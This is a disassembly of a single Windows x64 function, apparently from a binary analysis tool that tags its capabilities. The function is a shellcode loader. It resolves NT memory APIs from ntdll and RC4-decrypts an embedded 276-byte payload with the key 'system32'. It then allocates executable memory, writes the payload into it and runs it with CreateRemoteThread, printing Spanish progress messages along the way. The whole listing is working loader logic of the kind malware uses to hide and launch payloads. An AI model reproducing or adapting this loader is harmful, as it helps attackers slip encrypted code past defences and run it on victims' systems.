Function at 0x140001000
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x158], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r14d, r14d
mov qword [rsp + 0x150], 0x114
lea rcx, str.ntdll.dll
mov qword [rsp + 0x148], r14
mov rdi, rax
mov dword [rsp + 0x140], r14d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rbp, rbp
je 0x1400013ec
test rax, rax
je 0x1400013ec
movdqa xmm2, xmmword [0x140003430]
lea rdx, [rsp + 0x44]
movdqa xmm3, xmmword [0x140003440]
mov ecx, 8
mov qword [rsp + 0x180], r15
nop dword [rax]
lea eax, [rcx - 8]
movd xmm0, eax
lea rdx, [rdx + 0x10]
pshufd xmm0, xmm0, 0
lea eax, [rcx - 4]
paddd xmm0, xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
lea eax, [rcx + 4]
paddd xmm1, xmm2
andps xmm0, xmm3
andps xmm1, xmm3
packuswb xmm0, xmm0
packuswb xmm1, xmm1
packuswb xmm0, xmm0
movd dword [rdx - 0x14], xmm0
packuswb xmm1, xmm1
movd dword [rdx - 0x10], xmm1
movd xmm0, ecx
add ecx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
andps xmm0, xmm3
paddd xmm1, xmm2
packuswb xmm0, xmm0
andps xmm1, xmm3
packuswb xmm0, xmm0
movd dword [rdx - 0xc], xmm0
lea eax, [rcx - 8]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [rdx - 8], xmm1
cmp eax, 0x100
jl 0x1400010c0
xor dl, dl
lea r9, [rsp + 0x40]
mov r8d, r14d
lea r11, str.system32
movzx r10d, byte [r9]
mov eax, r8d
and eax, 7
movzx edx, dl
movsx ecx, byte [rax + r11]
add ecx, r10d
add edx, ecx
and edx, 0x800000ff
jge 0x14000118c
dec edx
or edx, 0xffffff00
inc edx
movzx eax, dl
lea rcx, [rsp + 0x40]
add rcx, rax
inc r8d
movzx eax, byte [rcx]
mov byte [r9], al
inc r9
mov byte [rcx], r10b
cmp r8d, 0x100
jl 0x140001163
mov eax, r14d
lea r15, [0x140005080]
xor r11b, r11b
mov r10, r14
nop
inc eax
and eax, 0x800000ff
jge 0x1400011d2
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r9, [rsp + 0x40]
add r9, rcx
lea rdx, [rsp + 0x40]
movzx r8d, byte [r9]
add r11b, r8b
movzx ecx, r11b
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9], cl
mov byte [rdx], r8b
movzx edx, byte [r9]
add rdx, r8
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x40]
xor byte [r10 + r15], dl
inc r10
cmp r10, 0x114
jl 0x1400011c0
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x150]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x148]
mov rcx, rdi
call rbp
mov ebx, eax
test eax, eax
jns 0x14000124f
lea rdx, str.Error_al_reservar_memoria:
jmp 0x1400012b3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Memoria_reservada_en:
call fcn.140001490
mov rdx, qword [rsp + 0x148]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140001670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rsp + 0x148]
lea rax, [rsp + 0x140]
mov r9d, 0x114
mov qword [rsp + 0x20], rax
mov r8, r15
mov rcx, rdi
call rsi
mov ebx, eax
test eax, eax
jns 0x1400012cf
lea rdx, str.Error_al_escribir_en_memoria:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001490
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
jmp 0x140001369
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Bytes_escritos:
call fcn.140001490
mov edx, dword [rsp + 0x140]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140001670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9, qword [rsp + 0x148]
xor r8d, r8d
mov qword [rsp + 0x30], r14
xor edx, edx
mov dword [rsp + 0x28], r14d
mov rcx, rdi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x1400013ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_crear_el_hilo:
mov ebx, eax
call fcn.140001490
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov r15, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x158]
xor rcx, rsp
call fcn.1400016c0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Cdigo_ejecutado_con_xito.
call fcn.140001490
mov rcx, rax
lea rdx, [0x140001670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x14000137e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_obtener_funciones_NT_API.
call fcn.140001490
mov rcx, rax
lea rdx, [0x140001670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001386